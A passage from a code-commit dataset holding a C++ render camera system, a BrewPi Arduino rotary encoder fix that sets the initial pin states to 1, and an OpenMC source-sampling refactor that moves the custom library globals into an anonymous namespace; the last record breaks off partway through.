spotlightFrustum;\n\t\t\tspotlightFrustum.setMatrix(spotViewProj);\n\n\t\t\t\/\/ Draw spotlight frustum debug:\n\t\t\tglm::vec4 worldPos = glm::inverse(spotViewProj) * glm::vec4(-1, -1, -1, 1.0f);\n\t\t\tglm::vec3 aNear = glm::vec3(worldPos \/ worldPos.w);\n\t\t\tworldPos = glm::inverse(spotViewProj) * glm::vec4(-1, 1, -1, 1.0f);\n\t\t\tglm::vec3 bNear = glm::vec3(worldPos \/ worldPos.w);\n\t\t\tworldPos = glm::inverse(spotViewProj) * glm::vec4(1, 1, -1, 1.0f);\n\t\t\tglm::vec3 cNear = glm::vec3(worldPos \/ worldPos.w);\n\t\t\tworldPos = glm::inverse(spotViewProj) * glm::vec4(1, -1, -1, 1.0f);\n\t\t\tglm::vec3 dNear = glm::vec3(worldPos \/ worldPos.w);\n\t\t\tworldPos = glm::inverse(spotViewProj) * glm::vec4(-1, -1, 1, 1.0f);\n\t\t\tglm::vec3 aFar = glm::vec3(worldPos \/ worldPos.w);\n\t\t\tworldPos = glm::inverse(spotViewProj) * glm::vec4(-1, 1, 1, 1.0f);\n\t\t\tglm::vec3 bFar = glm::vec3(worldPos \/ worldPos.w);\n\t\t\tworldPos = glm::inverse(spotViewProj) * glm::vec4(1, 1, 1, 1.0f);\n\t\t\tglm::vec3 cFar = glm::vec3(worldPos \/ worldPos.w);\n\t\t\tworldPos = glm::inverse(spotViewProj) * glm::vec4(1, -1, 1, 1.0f);\n\t\t\tglm::vec3 dFar = glm::vec3(worldPos \/ worldPos.w);\n\n\t\t\tAGE::GetRenderThread()->getQueue()->emplaceCommand<Commands::ToRender::Draw3DQuad>(aNear, bNear, cNear, dNear);\n\t\t\tAGE::GetRenderThread()->getQueue()->emplaceCommand<Commands::ToRender::Draw3DQuad>(aFar, bFar, cFar, dFar);\n\t\t\tAGE::GetRenderThread()->getQueue()->emplaceCommand<Commands::ToRender::Draw3DLine>(aNear, aFar);\n\t\t\tAGE::GetRenderThread()->getQueue()->emplaceCommand<Commands::ToRender::Draw3DLine>(bNear, bFar);\n\t\t\tAGE::GetRenderThread()->getQueue()->emplaceCommand<Commands::ToRender::Draw3DLine>(cNear, cFar);\n\t\t\tAGE::GetRenderThread()->getQueue()->emplaceCommand<Commands::ToRender::Draw3DLine>(dNear, dFar);\n\n\t\t\t_scene->getBfcBlockManagerFactory()->cullOnChannel(BFCCullableType::CullableMesh, spotDrawableList->meshs, spotlightFrustum);\n\t\t\tspotLightList.push_back(spotDrawableList);\n\t\t}\n\t\tfor (auto pointLightEntity : _pointLights.getCollection())\n\t\t{\n\t\t\tauto point = pointLightEntity->getComponent<PointLightComponent>();\n\t\t\t\n\t\t\tpointLightList.push_back(point->getCullableHandle().getPtr()->getDatas());\n\t\t}\n\n\t\tfor (auto cameraEntity : _cameras.getCollection())\n\t\t{\n\t\t\tFrustum cameraFrustum;\n\t\t\tauto camera = cameraEntity->getComponent<CameraComponent>();\n\n\t\t\tauto cameraList = std::make_shared<DRBCameraDrawableList>();\n\t\t\tcameraList->cameraInfos.data = camera->getData();\n\t\t\tcameraList->cameraInfos.view = glm::inverse(cameraEntity->getLink().getGlobalTransform());\n\n\t\t\tcameraFrustum.setMatrix(camera->getProjection() * cameraList->cameraInfos.view);\n\n\t\t\t_scene->getBfcBlockManagerFactory()->cullOnChannel(BFCCullableType::CullableMesh, cameraList->meshs, cameraFrustum);\n\t\t\t_scene->getBfcBlockManagerFactory()->cullOnChannel(BFCCullableType::CullablePointLight, cameraList->pointLights, cameraFrustum);\n\t\t\tcameraList->spotLights = spotLightList;\n\t\t\tcameraList->pointLights = pointLightList;\n\t\t\tAGE::GetRenderThread()->getQueue()->emplaceCommand<AGE::DRBCameraDrawableListCommand>(cameraList);\n\t\t}\n\t}\n\n\tvoid RenderCameraSystem::updateEnd(float time)\n\t{\n\t}\n}<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2012 BrewPi\/Elco Jacobs.\n *\n * This file is part of BrewPi.\n * \n * BrewPi is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n * \n * BrewPi is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with BrewPi. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"Brewpi.h\"\n#include \"RotaryEncoder.h\"\n\n#include \"Pins.h\"\n#include \"util\/atomic.h\"\n#include <limits.h>\n#include \"Ticks.h\"\n#include \"Display.h\"\n#include \"FastDigitalPin.h\"\n#include \"Brewpi.h\"\n\nRotaryEncoder rotaryEncoder;\n\n#if rotarySwitchPin != 7\n\t#error Review interrupt vectors when not using pin 7 for menu push\n#endif\n#if rotaryAPin != 8\n\t#error Review interrupt vectors when not using pin 8 for menu right\n#endif\n#if rotaryBPin != 9\n\t#error Review interrupt vectors when not using pin 9 for menu left\n#endif\n\n#if ENABLE_ROTARY_ENCODER\n\n#if defined(USBCON)\n\/\/ Arduino Leonardo\nISR(INT6_vect){\n\trotaryEncoder.setPushed();\n}\n\nISR(PCINT0_vect){\n\t\/\/todo rotaryEncoder.rotationHandler();\n\tstatic bool prevPinA = 0;\n\tstatic bool prevPinB = 0;\n\t\n\tbool currPinA = bitRead(PINB,4);\n\tbool currPinB = bitRead(PINB,5);\n\tif(currPinA != prevPinA){\n\t\trotaryEncoder.pinAHandler(currPinA);\n\t}\n\tif(currPinB != prevPinB){\n\t\trotaryEncoder.pinBHandler(currPinB);\n\t}\n\tprevPinA = currPinA;\n\tprevPinB = currPinB;\n}\n#else\n\/\/ Arduino UNO or older\nISR(PCINT2_vect){\n\tif(!bitRead(PIND,7)){\n\t\t\/\/ high to low transition\n\t\trotaryEncoder.setPushed();\n\t}\n}\n\nISR(PCINT0_vect){\n\t\/\/todo rotaryEncoder.rotationHandler();\n\tstatic bool prevPinA = 0;\n\tstatic bool prevPinB = 0;\n\t\t\t\n\tbool currPinA = bitRead(PINB,0);\n\tbool currPinB = bitRead(PINB,1);\n\tif(currPinA != prevPinA){\n\t\trotaryEncoder.pinAHandler(currPinA);\n\t}\n\tif(currPinB != prevPinB){\n\t\trotaryEncoder.pinBHandler(currPinB);\n\t}\n\tprevPinA = currPinA;\n\tprevPinB = currPinB;\t\n}\n\n\n#endif\n\n#endif\n\nvoid RotaryEncoder::setPushed(void){\n\tpushFlag = true;\n\tdisplay.resetBacklightTimer();\n}\n\nvoid RotaryEncoder::pinAHandler(bool pinState){\n\tif(ticks.micros() - pinATime < ROTARY_THRESHOLD){\n\t\treturn;\n\t}\t\t\n\tpinAHistory = pinASignal;\n\tpinASignal = pinState;\n\tif ( pinAHistory==pinASignal ){\n\t\treturn; \/\/ not a transition\n\t}\n\tpinATime = ticks.micros();\n\tif ( pinASignal == pinBSignal ){\n\t\tsteps++;\n\t}\n\telse{\n\t\tsteps--;\n\t}\n\t\/\/ loop around at edges\n\tif(steps > maximum){\n\t\tsteps = minimum;\n\t}\n\tif(steps < minimum){\n\t\tsteps = maximum;\n\t}\n\tdisplay.resetBacklightTimer();\n}\n\nvoid RotaryEncoder::pinBHandler(bool pinState){\n\tif (ticks.micros() - pinBTime < ROTARY_THRESHOLD ){\n\t\treturn;\n\t}\n\tpinBHistory = pinBSignal;\n\tpinBSignal = pinState;\n\tif ( pinBHistory==pinBSignal ){\n\t\treturn; \/\/ not a transition\n\t}\n\tpinBTime = ticks.micros();\n}\n\nvoid RotaryEncoder::init(void){\n\tmaximum = INT_MAX;\n\tminimum = INT_MIN;\n\tprevRead = 0;\n\tsteps = 0;\n\tpushFlag = 0;\n\tpinASignal = 1;\n\tpinBSignal = 1;\n\tpinAHistory = 1;\n\tpinBHistory = 1;\n\tpinATime = 0;\n\tpinBTime = 0;\n\t\n\t#if(USE_INTERNAL_PULL_UP_RESISTORS)\n\tfastPinMode(rotaryAPin, INPUT_PULLUP);\n\tfastPinMode(rotaryBPin, INPUT_PULLUP);\n\tfastPinMode(rotarySwitchPin, INPUT_PULLUP);\n\t#else\n\tfastPinMode(rotaryAPin, INPUT);\n\tfastPinMode(rotaryBPin, INPUT);\n\tfastPinMode(rotarySwitchPin, INPUT);\n\t#endif\n\t\n\tpinAHandler(true); \/\/ call functions ones here for proper initialization\n\tpinBHandler(true); \n\n#if ENABLE_ROTARY_ENCODER\t\n\t#if defined(USBCON) \/\/ Arduino Leonardo\n\t\t\/\/ falling edge interrupt for switch on INT6\n\t\tEICRB |= (1<<ISC61) | (0<<ISC60);\n\t\t\/\/ enable interrupt for INT6\n\t\tEIMSK |= (1<<INT6);\n\t\t\/\/ enable pin change interrupts\n\t\tPCICR |= (1<<PCIE0);\n\t\t\/\/ enable pin change interrupt on Arduino pin 8 and 9\n\t\tPCMSK0 |= (1<<PCINT5) | (1<<PCINT4);\n\t#else \/\/ Arduino UNO\n\t\t\/\/ enable PCINT0 (PCINT0 and PCINT1 pin) and PCINT2 vector (PCINT23 pin)\n\t\tPCICR |= (1<<PCIE2) | (1<<PCIE0);\n\t\t\/\/ enable mask bits for PCINT0 and PCINT1\n\t\tPCMSK0 |= (1<<PCINT0) | (1<<PCINT1);\n\t\t\/\/ enable mask bit for PCINT23\n\t\tPCMSK2 |= (1<<PCINT23);\n\t#endif\n#endif\t\n}\n\n\nvoid RotaryEncoder::setRange(int start, int minVal, int maxVal){\n\tATOMIC_BLOCK(ATOMIC_RESTORESTATE){\n\t\t\/\/ this part cannot be interrupted\n\t\t\/\/ Multiply by two to convert to half steps\n\t\tsteps = start;\n\t\tminimum = minVal;\n\t\tmaximum = maxVal; \/\/ +1 to make sure that one step is still two half steps at overflow\n\t\tprevRead = start;\n\t}\t\t\n}\n\nbool RotaryEncoder::changed(void){\n\t\/\/ returns one if the value changed since the last call of changed.\n\tstatic int prevValue = 0;\n\tif(read() != prevValue){\n\t\tprevValue = read();\n\t\treturn 1;\n\t}\n\tif(pushFlag == true){\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n\nint RotaryEncoder::read(void){\n\tATOMIC_BLOCK(ATOMIC_RESTORESTATE){\n\t\tprevRead = steps;\n\t\treturn prevRead;\n\t}\n\treturn 0;\t\t\n}\n<commit_msg>First step of rotary encoder was in wrong direction after reset, this fixes it.<commit_after>\/*\n * Copyright 2012 BrewPi\/Elco Jacobs.\n *\n * This file is part of BrewPi.\n * \n * BrewPi is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n * \n * BrewPi is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with BrewPi. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"Brewpi.h\"\n#include \"RotaryEncoder.h\"\n\n#include \"Pins.h\"\n#include \"util\/atomic.h\"\n#include <limits.h>\n#include \"Ticks.h\"\n#include \"Display.h\"\n#include \"FastDigitalPin.h\"\n#include \"Brewpi.h\"\n\nRotaryEncoder rotaryEncoder;\n\n#if rotarySwitchPin != 7\n\t#error Review interrupt vectors when not using pin 7 for menu push\n#endif\n#if rotaryAPin != 8\n\t#error Review interrupt vectors when not using pin 8 for menu right\n#endif\n#if rotaryBPin != 9\n\t#error Review interrupt vectors when not using pin 9 for menu left\n#endif\n\n#if ENABLE_ROTARY_ENCODER\n\n#if defined(USBCON)\n\/\/ Arduino Leonardo\nISR(INT6_vect){\n\trotaryEncoder.setPushed();\n}\n\nISR(PCINT0_vect){\n\t\/\/todo rotaryEncoder.rotationHandler();\n\tstatic bool prevPinA = 1;\n\tstatic bool prevPinB = 1;\n\t\n\tbool currPinA = bitRead(PINB,4);\n\tbool currPinB = bitRead(PINB,5);\n\tif(currPinA != prevPinA){\n\t\trotaryEncoder.pinAHandler(currPinA);\n\t}\n\tif(currPinB != prevPinB){\n\t\trotaryEncoder.pinBHandler(currPinB);\n\t}\n\tprevPinA = currPinA;\n\tprevPinB = currPinB;\n}\n#else\n\/\/ Arduino UNO or older\nISR(PCINT2_vect){\n\tif(!bitRead(PIND,7)){\n\t\t\/\/ high to low transition\n\t\trotaryEncoder.setPushed();\n\t}\n}\n\nISR(PCINT0_vect){\n\t\/\/todo rotaryEncoder.rotationHandler();\n\tstatic bool prevPinA = 1;\n\tstatic bool prevPinB = 1;\n\t\t\t\n\tbool currPinA = bitRead(PINB,0);\n\tbool currPinB = bitRead(PINB,1);\n\tif(currPinA != prevPinA){\n\t\trotaryEncoder.pinAHandler(currPinA);\n\t}\n\tif(currPinB != prevPinB){\n\t\trotaryEncoder.pinBHandler(currPinB);\n\t}\n\tprevPinA = currPinA;\n\tprevPinB = currPinB;\t\n}\n\n\n#endif\n\n#endif\n\nvoid RotaryEncoder::setPushed(void){\n\tpushFlag = true;\n\tdisplay.resetBacklightTimer();\n}\n\nvoid RotaryEncoder::pinAHandler(bool pinState){\n\tif(ticks.micros() - pinATime < ROTARY_THRESHOLD){\n\t\treturn;\n\t}\t\t\n\tpinAHistory = pinASignal;\n\tpinASignal = pinState;\n\tif ( pinAHistory==pinASignal ){\n\t\treturn; \/\/ not a transition\n\t}\n\tpinATime = ticks.micros();\n\tif ( pinASignal == pinBSignal ){\n\t\tsteps++;\n\t}\n\telse{\n\t\tsteps--;\n\t}\n\t\/\/ loop around at edges\n\tif(steps > maximum){\n\t\tsteps = minimum;\n\t}\n\tif(steps < minimum){\n\t\tsteps = maximum;\n\t}\n\tdisplay.resetBacklightTimer();\n}\n\nvoid RotaryEncoder::pinBHandler(bool pinState){\n\tif (ticks.micros() - pinBTime < ROTARY_THRESHOLD ){\n\t\treturn;\n\t}\n\tpinBHistory = pinBSignal;\n\tpinBSignal = pinState;\n\tif ( pinBHistory==pinBSignal ){\n\t\treturn; \/\/ not a transition\n\t}\n\tpinBTime = ticks.micros();\n}\n\nvoid RotaryEncoder::init(void){\n\tmaximum = INT_MAX;\n\tminimum = INT_MIN;\n\tprevRead = 0;\n\tsteps = 0;\n\tpushFlag = 0;\n\tpinASignal = 1;\n\tpinBSignal = 1;\n\tpinAHistory = 1;\n\tpinBHistory = 1;\n\tpinATime = 0;\n\tpinBTime = 0;\n\n\t#if(USE_INTERNAL_PULL_UP_RESISTORS)\n\tfastPinMode(rotaryAPin, INPUT_PULLUP);\n\tfastPinMode(rotaryBPin, INPUT_PULLUP);\n\tfastPinMode(rotarySwitchPin, INPUT_PULLUP);\n\t#else\n\tfastPinMode(rotaryAPin, INPUT);\n\tfastPinMode(rotaryBPin, INPUT);\n\tfastPinMode(rotarySwitchPin, INPUT);\n\t#endif\n\t\n\tpinAHandler(true); \/\/ call functions ones here for proper initialization\n\tpinBHandler(true);\n\n#if ENABLE_ROTARY_ENCODER\t\n\t#if defined(USBCON) \/\/ Arduino Leonardo\n\t\t\/\/ falling edge interrupt for switch on INT6\n\t\tEICRB |= (1<<ISC61) | (0<<ISC60);\n\t\t\/\/ enable interrupt for INT6\n\t\tEIMSK |= (1<<INT6);\n\t\t\/\/ enable pin change interrupts\n\t\tPCICR |= (1<<PCIE0);\n\t\t\/\/ enable pin change interrupt on Arduino pin 8 and 9\n\t\tPCMSK0 |= (1<<PCINT5) | (1<<PCINT4);\n\t#else \/\/ Arduino UNO\n\t\t\/\/ enable PCINT0 (PCINT0 and PCINT1 pin) and PCINT2 vector (PCINT23 pin)\n\t\tPCICR |= (1<<PCIE2) | (1<<PCIE0);\n\t\t\/\/ enable mask bits for PCINT0 and PCINT1\n\t\tPCMSK0 |= (1<<PCINT0) | (1<<PCINT1);\n\t\t\/\/ enable mask bit for PCINT23\n\t\tPCMSK2 |= (1<<PCINT23);\n\t#endif\n#endif\t\n}\n\n\nvoid RotaryEncoder::setRange(int start, int minVal, int maxVal){\n\tATOMIC_BLOCK(ATOMIC_RESTORESTATE){\n\t\t\/\/ this part cannot be interrupted\n\t\t\/\/ Multiply by two to convert to half steps\n\t\tsteps = start;\n\t\tminimum = minVal;\n\t\tmaximum = maxVal; \/\/ +1 to make sure that one step is still two half steps at overflow\n\t\tprevRead = start;\n\t}\t\t\n}\n\nbool RotaryEncoder::changed(void){\n\t\/\/ returns one if the value changed since the last call of changed.\n\tstatic int prevValue = 0;\n\tif(read() != prevValue){\n\t\tprevValue = read();\n\t\treturn 1;\n\t}\n\tif(pushFlag == true){\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n\nint RotaryEncoder::read(void){\n\tATOMIC_BLOCK(ATOMIC_RESTORESTATE){\n\t\tprevRead = steps;\n\t\treturn prevRead;\n\t}\n\treturn 0;\t\t\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"openmc\/source.h\"\n\n#if defined (__unix__) || (defined (__APPLE__) && defined (__MACH__))\n#define HAS_DYNAMIC_LINKING\n#endif\n\n#include <algorithm> \/\/ for move\n\n#ifdef HAS_DYNAMIC_LINKING\n#include <dlfcn.h> \/\/ for dlopen, dlsym, dlclose, dlerror\n#endif\n\n#include <fmt\/core.h>\n#include \"xtensor\/xadapt.hpp\"\n\n#include \"openmc\/bank.h\"\n#include \"openmc\/cell.h\"\n#include \"openmc\/error.h\"\n#include \"openmc\/file_utils.h\"\n#include \"openmc\/hdf5_interface.h\"\n#include \"openmc\/material.h\"\n#include \"openmc\/message_passing.h\"\n#include \"openmc\/mgxs_interface.h\"\n#include \"openmc\/nuclide.h\"\n#include \"openmc\/capi.h\"\n#include \"openmc\/random_lcg.h\"\n#include \"openmc\/search.h\"\n#include \"openmc\/settings.h\"\n#include \"openmc\/simulation.h\"\n#include \"openmc\/state_point.h\"\n#include \"openmc\/xml_interface.h\"\n\nnamespace openmc {\n\n\/\/==============================================================================\n\/\/ Global variables\n\/\/==============================================================================\n\nnamespace model {\n\ntypedef Particle::Bank (*sample_t)(uint64_t &seed);\nsample_t custom_source_function;\nvoid* custom_source_library;\n\nstd::vector<SourceDistribution> external_sources;\n\n}\n\n\/\/==============================================================================\n\/\/ SourceDistribution implementation\n\/\/==============================================================================\n\nSourceDistribution::SourceDistribution(UPtrSpace space, UPtrAngle angle, UPtrDist energy)\n : space_{std::move(space)}, angle_{std::move(angle)}, energy_{std::move(energy)} { }\n\nSourceDistribution::SourceDistribution(pugi::xml_node node)\n{\n \/\/ Check for particle type\n if (check_for_node(node, \"particle\")) {\n auto temp_str = get_node_value(node, \"particle\", true, true);\n if (temp_str == \"neutron\") {\n particle_ = Particle::Type::neutron;\n } else if (temp_str == \"photon\") {\n particle_ = Particle::Type::photon;\n settings::photon_transport = true;\n } else {\n fatal_error(std::string(\"Unknown source particle type: \") + temp_str);\n }\n }\n\n \/\/ Check for source strength\n if (check_for_node(node, \"strength\")) {\n strength_ = std::stod(get_node_value(node, \"strength\"));\n }\n\n \/\/ Check for external source file\n if (check_for_node(node, \"file\")) {\n \/\/ Copy path of source file\n settings::path_source = get_node_value(node, \"file\", false, true);\n\n \/\/ Check if source file exists\n if (!file_exists(settings::path_source)) {\n fatal_error(fmt::format(\"Source file '{}' does not exist.\",\n settings::path_source));\n }\n } else if (check_for_node(node, \"library\")) {\n settings::path_source_library = get_node_value(node, \"library\", false, true);\n if (!file_exists(settings::path_source_library)) {\n fatal_error(fmt::format(\"Source library '{}' does not exist.\",\n settings::path_source_library));\n }\n } else {\n\n \/\/ Spatial distribution for external source\n if (check_for_node(node, \"space\")) {\n \/\/ Get pointer to spatial distribution\n pugi::xml_node node_space = node.child(\"space\");\n\n \/\/ Check for type of spatial distribution and read\n std::string type;\n if (check_for_node(node_space, \"type\"))\n type = get_node_value(node_space, \"type\", true, true);\n if (type == \"cartesian\") {\n space_ = UPtrSpace{new CartesianIndependent(node_space)};\n } else if (type == \"cylindrical\") {\n space_ = UPtrSpace{new CylindricalIndependent(node_space)};\n } else if (type == \"spherical\") {\n space_ = UPtrSpace{new SphericalIndependent(node_space)};\n } else if (type == \"box\") {\n space_ = UPtrSpace{new SpatialBox(node_space)};\n } else if (type == \"fission\") {\n space_ = UPtrSpace{new SpatialBox(node_space, true)};\n } else if (type == \"point\") {\n space_ = UPtrSpace{new SpatialPoint(node_space)};\n } else {\n fatal_error(fmt::format(\n \"Invalid spatial distribution for external source: {}\", type));\n }\n\n } else {\n \/\/ If no spatial distribution specified, make it a point source\n space_ = UPtrSpace{new SpatialPoint()};\n }\n\n \/\/ Determine external source angular distribution\n if (check_for_node(node, \"angle\")) {\n \/\/ Get pointer to angular distribution\n pugi::xml_node node_angle = node.child(\"angle\");\n\n \/\/ Check for type of angular distribution\n std::string type;\n if (check_for_node(node_angle, \"type\"))\n type = get_node_value(node_angle, \"type\", true, true);\n if (type == \"isotropic\") {\n angle_ = UPtrAngle{new Isotropic()};\n } else if (type == \"monodirectional\") {\n angle_ = UPtrAngle{new Monodirectional(node_angle)};\n } else if (type == \"mu-phi\") {\n angle_ = UPtrAngle{new PolarAzimuthal(node_angle)};\n } else {\n fatal_error(fmt::format(\n \"Invalid angular distribution for external source: {}\", type));\n }\n\n } else {\n angle_ = UPtrAngle{new Isotropic()};\n }\n\n \/\/ Determine external source energy distribution\n if (check_for_node(node, \"energy\")) {\n pugi::xml_node node_dist = node.child(\"energy\");\n energy_ = distribution_from_xml(node_dist);\n } else {\n \/\/ Default to a Watt spectrum with parameters 0.988 MeV and 2.249 MeV^-1\n energy_ = UPtrDist{new Watt(0.988e6, 2.249e-6)};\n }\n }\n}\n\n\nParticle::Bank SourceDistribution::sample(uint64_t* seed) const\n{\n Particle::Bank site;\n\n \/\/ Set weight to one by default\n site.wgt = 1.0;\n\n \/\/ Repeat sampling source location until a good site has been found\n bool found = false;\n int n_reject = 0;\n static int n_accept = 0;\n while (!found) {\n \/\/ Set particle type\n site.particle = particle_;\n\n \/\/ Sample spatial distribution\n site.r = space_->sample(seed);\n double xyz[] {site.r.x, site.r.y, site.r.z};\n\n \/\/ Now search to see if location exists in geometry\n int32_t cell_index, instance;\n int err = openmc_find_cell(xyz, &cell_index, &instance);\n found = (err != OPENMC_E_GEOMETRY);\n\n \/\/ Check if spatial site is in fissionable material\n if (found) {\n auto space_box = dynamic_cast<SpatialBox*>(space_.get());\n if (space_box) {\n if (space_box->only_fissionable()) {\n \/\/ Determine material\n const auto& c = model::cells[cell_index];\n auto mat_index = c->material_.size() == 1\n ? c->material_[0] : c->material_[instance];\n\n if (mat_index == MATERIAL_VOID) {\n found = false;\n } else {\n if (!model::materials[mat_index]->fissionable_) found = false;\n }\n }\n }\n }\n\n \/\/ Check for rejection\n if (!found) {\n ++n_reject;\n if (n_reject >= EXTSRC_REJECT_THRESHOLD &&\n static_cast<double>(n_accept)\/n_reject <= EXTSRC_REJECT_FRACTION) {\n fatal_error(\"More than 95% of external source sites sampled were \"\n \"rejected. Please check your external source definition.\");\n }\n }\n }\n\n \/\/ Increment number of accepted samples\n ++n_accept;\n\n \/\/ Sample angle\n site.u = angle_->sample(seed);\n\n \/\/ Check for monoenergetic source above maximum particle energy\n auto p = static_cast<int>(particle_);\n auto energy_ptr = dynamic_cast<Discrete*>(energy_.get());\n if (energy_ptr) {\n auto energies = xt::adapt(energy_ptr->x());\n if (xt::any(energies > data::energy_max[p])) {\n fatal_error(\"Source energy above range of energies of at least \"\n \"one cross section table\");\n } else if (xt::any(energies < data::energy_min[p])) {\n fatal_error(\"Source energy below range of energies of at least \"\n \"one cross section table\");\n }\n }\n\n while (true) {\n \/\/ Sample energy spectrum\n site.E = energy_->sample(seed);\n\n \/\/ Resample if energy falls outside minimum or maximum particle energy\n if (site.E < data::energy_max[p] && site.E > data::energy_min[p]) break;\n }\n\n \/\/ Set delayed group\n site.delayed_group = 0;\n\n return site;\n}\n\n\/\/==============================================================================\n\/\/ Non-member functions\n\/\/==============================================================================\n\nvoid initialize_source()\n{\n write_message(\"Initializing source particles...\", 5);\n\n if (!settings::path_source.empty()) {\n \/\/ Read the source from a binary file instead of sampling from some\n \/\/ assumed source distribution\n\n write_message(fmt::format(\"Reading source file from {}...\",\n settings::path_source), 6);\n\n \/\/ Open the binary file\n hid_t file_id = file_open(settings::path_source, 'r', true);\n\n \/\/ Read the file type\n std::string filetype;\n read_attribute(file_id, \"filetype\", filetype);\n\n \/\/ Check to make sure this is a source file\n if (filetype != \"source\" && filetype != \"statepoint\") {\n fatal_error(\"Specified starting source file not a source file type.\");\n }\n\n \/\/ Read in the source bank\n read_source_bank(file_id);\n\n \/\/ Close file\n file_close(file_id);\n } else if (!settings::path_source_library.empty()) {\n\n write_message(fmt::format(\"Sampling from library source {}...\",\n settings::path_source), 6);\n\n fill_source_bank_custom_source();\n\n } else {\n \/\/ Generation source sites from specified distribution in user input\n for (int64_t i = 0; i < simulation::work_per_rank; ++i) {\n \/\/ initialize random number seed\n int64_t id = simulation::total_gen*settings::n_particles +\n simulation::work_index[mpi::rank] + i + 1;\n uint64_t seed = init_seed(id, STREAM_SOURCE);\n\n \/\/ sample external source distribution\n simulation::source_bank[i] = sample_external_source(&seed);\n }\n }\n\n \/\/ Write out initial source\n if (settings::write_initial_source) {\n write_message(\"Writing out initial source...\", 5);\n std::string filename = settings::path_output + \"initial_source.h5\";\n hid_t file_id = file_open(filename, 'w', true);\n write_source_bank(file_id);\n file_close(file_id);\n }\n}\n\nParticle::Bank sample_external_source(uint64_t* seed)\n{\n \/\/ Determine total source strength\n double total_strength = 0.0;\n for (auto& s : model::external_sources)\n total_strength += s.strength();\n\n \/\/ Sample from among multiple source distributions\n int i = 0;\n if (model::external_sources.size() > 1) {\n double xi = prn(seed)*total_strength;\n double c = 0.0;\n for (; i < model::external_sources.size(); ++i) {\n c += model::external_sources[i].strength();\n if (xi < c) break;\n }\n }\n\n \/\/ Sample source site from i-th source distribution\n Particle::Bank site {model::external_sources[i].sample(seed)};\n\n \/\/ If running in MG, convert site.E to group\n if (!settings::run_CE) {\n site.E = lower_bound_index(data::mg.rev_energy_bins_.begin(),\n data::mg.rev_energy_bins_.end(), site.E);\n site.E = data::mg.num_energy_groups_ - site.E - 1.;\n }\n\n return site;\n}\n\nvoid free_memory_source()\n{\n model::external_sources.clear();\n}\n\n\/\/Load custom source library\nvoid load_custom_source_library()\n{\n#ifdef HAS_DYNAMIC_LINKING\n\n \/\/ Open the library\n model::source_library = dlopen(settings::path_source_library.c_str(), RTLD_LAZY);\n if (!model::source_library) {\n fatal_error(\"Couldn't open source library \" + settings::path_source_library);\n }\n\n \/\/ reset errors\n dlerror();\n\n \/\/ get the function from the library\n \/\/using sample_t = Particle::Bank (*)(uint64_t* seed);\n model::sample_source = reinterpret_cast<model::sample_t>(dlsym(model::source_library, \"sample_source\"));\n\n \/\/ check for any dlsym errors\n auto dlsym_error = dlerror();\n if (dlsym_error) {\n dlclose(model::source_library);\n fatal_error(fmt::format(\"Couldn't open the sample_source symbol: {}\", dlsym_error));\n }\n\n#else\n fatal_error(\"Custom source libraries have not yet been implemented for \"\n \"non-POSIX systems\");\n#endif\n\n}\n\n\/\/Release custom source library\nvoid close_custom_source_library()\n{\n dlclose(model::source_library);\n}\n\n\/\/Sample source particle from custom library\nParticle::Bank sample_custom_source_library(uint64_t* seed)\n{\n return model::sample_source(*seed);\n}\n\n\/\/ fill the source bank from the external source\nvoid fill_source_bank_custom_source()\n{\n \/\/ Load the custom library\n load_custom_source_library();\n\n \/\/ Generation source sites from specified distribution in the\n \/\/ library source\n for (int64_t i = 0; i < simulation::work_per_rank; ++i) {\n \/\/ initialize random number seed\n int64_t id = (simulation::total_gen + overall_generation()) *\n settings::n_particles + simulation::work_index[mpi::rank] + i + 1;\n uint64_t seed = init_seed(id, STREAM_SOURCE);\n\n \/\/ sample custom library source\n simulation::source_bank[i] = sample_custom_source_library(&seed);\n }\n\n \/\/ release the library\n close_custom_source_library();\n}\n\n} \/\/ namespace openmc\n<commit_msg>Rename custom source library and function and move to anonymous namespace<commit_after>#include \"openmc\/source.h\"\n\n#if defined (__unix__) || (defined (__APPLE__) && defined (__MACH__))\n#define HAS_DYNAMIC_LINKING\n#endif\n\n#include <algorithm> \/\/ for move\n\n#ifdef HAS_DYNAMIC_LINKING\n#include <dlfcn.h> \/\/ for dlopen, dlsym, dlclose, dlerror\n#endif\n\n#include <fmt\/core.h>\n#include \"xtensor\/xadapt.hpp\"\n\n#include \"openmc\/bank.h\"\n#include \"openmc\/cell.h\"\n#include \"openmc\/error.h\"\n#include \"openmc\/file_utils.h\"\n#include \"openmc\/hdf5_interface.h\"\n#include \"openmc\/material.h\"\n#include \"openmc\/message_passing.h\"\n#include \"openmc\/mgxs_interface.h\"\n#include \"openmc\/nuclide.h\"\n#include \"openmc\/capi.h\"\n#include \"openmc\/random_lcg.h\"\n#include \"openmc\/search.h\"\n#include \"openmc\/settings.h\"\n#include \"openmc\/simulation.h\"\n#include \"openmc\/state_point.h\"\n#include \"openmc\/xml_interface.h\"\n\nnamespace openmc {\n\n\/\/==============================================================================\n\/\/ Global variables\n\/\/==============================================================================\n\nnamespace model {\n\nstd::vector<SourceDistribution> external_sources;\n\n}\n\nnamespace {\n\ntypedef Particle::Bank (*sample_t)(uint64_t &seed);\nsample_t custom_source_function;\nvoid* custom_source_library;\n\n}\n\n\n\/\/==============================================================================\n\/\/ SourceDistribution implementation\n\/\/==============================================================================\n\nSourceDistribution::SourceDistribution(UPtrSpace space, UPtrAngle angle, UPtrDist energy)\n : space_{std::move(space)}, angle_{std::move(angle)}, energy_{std::move(energy)} { }\n\nSourceDistribution::SourceDistribution(pugi::xml_node 